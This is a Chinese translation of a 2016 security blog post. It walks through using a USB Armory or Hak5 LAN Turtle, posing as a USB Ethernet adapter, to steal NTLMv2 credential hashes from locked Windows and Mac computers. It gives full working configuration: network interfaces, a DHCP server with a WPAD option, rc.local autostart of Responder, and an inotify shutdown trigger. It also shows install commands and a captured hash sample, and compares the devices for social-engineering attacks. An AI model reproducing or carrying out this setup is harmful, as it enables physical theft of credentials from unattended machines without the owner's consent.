使用惡意USB設備解鎖 Windows & Mac 鎖屏狀態

NSA專業物理入侵設備——USB Armory,可解鎖任意鎖屏狀態的下的Windows和Mac操作系統,含最新發布的Windows10、及較早的Mac OSX El Capitan / Mavericks,想知道原理是什麼?進來看看吧!

首先,這原本是沒有可能實現的,但事實是我真的辦到了(相信我,因爲不敢相信這是真的,我已經測試了很多次。)

USB Ethernet + DHCP + Responder == 證書

論題:

如果我在電腦上插入一個僞裝成USB以太網適配器的設備, 那麼即使這個系統是鎖定的,我也可以從系統中獲取證書。(也許還能做更多的事情,但這篇文章已經太長,我們會在之後另外討論。)

1.設備的設置

在文章一開始,我是用一個USB Armory (155美元)進行實驗的,但在下文中,我也會向你們展示如何用Hak5 Turtle(49.99美元)實現這一目的。

我將會爲你們提供設備本身的設置信息,下面還有一些可以爲你們提供幫助的鏈接:

USB Armory Bundle

Hak5 LAN Turtle

2.工具

基本上,運用Laurent Gaffié的響應器可以完成捕獲,所以你需要找到一個方法來將應答器映射到設備上,而Hak5 Turtle已經有這樣的一個模塊了:

首次使用時,你必須將模塊設置爲「Enable」,隨後它會自行下載所有相關項和軟件包。

然後你還需要一個opkg update和opkg install python-openssl,這樣應答器就可以正確運行了。

至於USB Armory,你可以使用SCP、網絡連接共享、USB主機/客戶端適配器:

在Debian/Jessie的默認安裝中沒有安裝Python,所以你必須解決所有的相關項(在Kali版本中不需要這個),並且需要互聯網接入來執行以下內容:

1
2
3
apt- get  install -y python git python-pip python-dev screen sqlite3
pip install pycrypto
git clone https: //github.com/spiderlabs/responder

3.配置

USB Armory Bundle

首先,設置接口不是必需的,但是因爲Armory的每個圖像都有着不同的默認IP地址,設置它能夠提高一致性, 因此它可以爲下一步打下堅實的基礎。

1
2
3
4
5
6
7
8
9
10
/etc/network/interfaces
# interfaces(5) file used by ifup(8) and ifdown(8)
# Include files from /etc/network/interfaces.d:
source-directory /etc/network/interfaces.d
auto usb0
allow-hotplug usb0
iface usb0 inet  static
   address 192.168.2.201
   netmask 255.255.255.0
   gateway 192.168.2.1

下面,我們來建立DHCP服務器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/etc/dhcp/dhcpd.conf
ddns-update-style none;
option domain-name  "domain.local" ;
option domain-name-servers 192.168.2.201;
default -lease-time 60;
max-lease-time 72;
# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
authoritative;
# Use this to send dhcp log messages to a different log file (you also
# have to hack syslog.conf to complete the redirection).
log-facility local7;
# wpad
option local-proxy-config code 252 = text;
# A slightly different configuration for an internal subnet.
subnet 192.168.2.0 netmask 255.255.255.0 {
   range 192.168.2.1 192.168.2.2;
   option routers 192.168.2.201;

這裏唯一的特殊配置是發送「Proxy Config」 選項到DHCP客戶端。請注意這一行:

一篇關於WPAD的維基百科文章中提到:「DHCP的優先級高於DNS:如果DHCP提供了WPAD URL, DNS查找將不會執行。「

接下來,我們需要設置自動運行。我們編輯了rc.local文件,讓它來做這樣的幾件事:

  1. 清理掉所有DHCP租約,並啓動DHCP服務器。也許還存在着某種更好的方式,但是因爲這臺「計算機」被插入和取出得非常頻繁,文件在某種程度上可能會損壞,因此我們只是移除並重新添加了它。
  2. 在一個屏幕會話中啓動響應器。這樣我們就可以得到屏幕會話的記錄,作爲Sqlite3數據庫和應答器創建的日誌文件的備份。
1
2
3
4
5
6
7
8
9
10
/etc/rc.local
#!/bin/sh -e
# Clear leases
rm -f / var /lib/dhcp/dhcpd.leases
touch / var /lib/dhcp/dhcpd.leases
# Start DHCP server
/usr/sbin/dhcpd
# Start Responder
/usr/bin/screen -dmS responder bash -c  'cd /root/responder/; python Responder.py -I usb0 -f -w -r -d -F'
exit 0

爲了讓屏幕會話的日誌記錄啓用(可以讓你迅速找出問題),你需要添加一個a .screenrc文件。最重要的部分是:

1
2
3
4
/root/.screenrc
# Logging
deflog  on
logfile /root/logs/screenlog_$USER_.%H.%n.%Y%m%d-%0c:%s.%t.log

就是這樣,現在你應該可以重啓USB Armory了,然後開始在任何可以插入USB的地方獲取憑證。

Hak5 LAN Turtle

現在,所有的事情幾乎都已經完成了,唯一的區別在於opkg是你的軟件包管理器:

1
2
opkg update
opkg install python-openssl screen

將符號鏈接移動到/ tmp /,這樣日誌會被保留下來

1
2
3
4
5
rm -rf /overlay/etc/turtle/Responder/logs
/overlay/etc/rc.local文件略有不同
/overlay/etc/rc.local
/etc/init.d/dnsmasq stop
/usr/sbin/screen -dmS responder bash -c  'cd /overlay/etc/turtle/Responder; python Responder.py -I br-lan -f -w -r -d -F'

4.爲什麼它會奏效?

  1. 因爲USB是即插即用的,這就意味着,即使一個系統是鎖着的, USB仍然可以被安裝。我認爲,在新的操作系統中(Win10 / El Capitan),某些類型的設備可以在其鎖定狀態下進行安裝時,是受到限制的,但是Ethernet/LAN肯定在白名單裏。
  2. 即使你沒有打開任何瀏覽器或應用程序,電腦也仍在不斷地創造流量, 出於某種原因,大多數計算機會信任它們的本地網絡。
  3. 網絡偏好通常基於Windows上的「metrics」和OSX上metrics和「preference」的結合,但在默認情況下,「wired」和「newer/faster」總能成爲贏家。

這意味着, 由於有了應答器,插入設備後,它很快變成了網關、DNS服務器、WPAD服務器等部分。

從插入鎖定的工作站到獲取到證書,平均需要大約13秒的時間,這完全取決於系統的狀況。另外,我使用了inotify來觀察Responder.db數據庫內文件的改變,並關閉Armory。它還能通過LED給我一個已經獲取到了證書的指示。

爲此,你需要安裝inotify-tools包,並將以下內容添加到therc.local本地文件:

1
2
echo  "Staring cred watch"  >> /root/rc.log
/usr/bin/screen -dmS notify bash -c  'while inotifywait -e modify /root/responder/Responder.db; do shutdown -h now; done'

5.最終結果:

你在視頻中能看到Windows 10的鎖定屏幕。當LED發出指示時,Armory被完全關閉, 證書已經得到了!

觀察結果:

1
2
[email protected]:~# sqlite3 /root/responder/Responder.db  'select * from responder'
2016-09-04 10:59:43|HTTP|NTLMv2|192.168.2.1||SITTINGDUCK\mubix||5EAEA2859C397D8AE48CA87F:01010000000001E9D23F49F7891F38965D80A0010000000000000000000000000000000900260048005400540050002F007800780066006600730062006E0070006300000000000000....

步驟已完成。

在以下系統中測試成功:

Windows 98 SE

Windows 2000 SP4

Windows XP SP3

Windows 7 SP1

Windows 10 (企業版和家庭版)

OSX El Capitan / Mavericks (我可以在其中得到證書 ,但是我還在測試這是不是一個偶然情況)

我還沒有在Linux上測試過, 如果成功了的話,我會另外寫一篇文章。

6.USB ARMORY與Hak5 LAN Turtle的比較

  1. Armory更具通用性,是一種不錯的用於發動攻擊的方式。具有更多的存儲空間(SD)和更快的處理器。
  2. 在SE攻擊中,如果你試圖插入一個設備,Hak5 LAN Turtle更容易完成任務。它可能不像Armory那樣,在取得證書時有LED指示,但它有一個可以作爲以太網端口的附加功能,因此你可以得到證書和一個shell。

原文地址:https://room362.com/post/2016/snagging-creds-from-locked-machines/

sigline.gif 
本文轉自 K1two2 博客園博客,原文鏈接:http://www.cnblogs.com/k1two2/p/5854767.html   ,如需轉載請自行聯繫原作者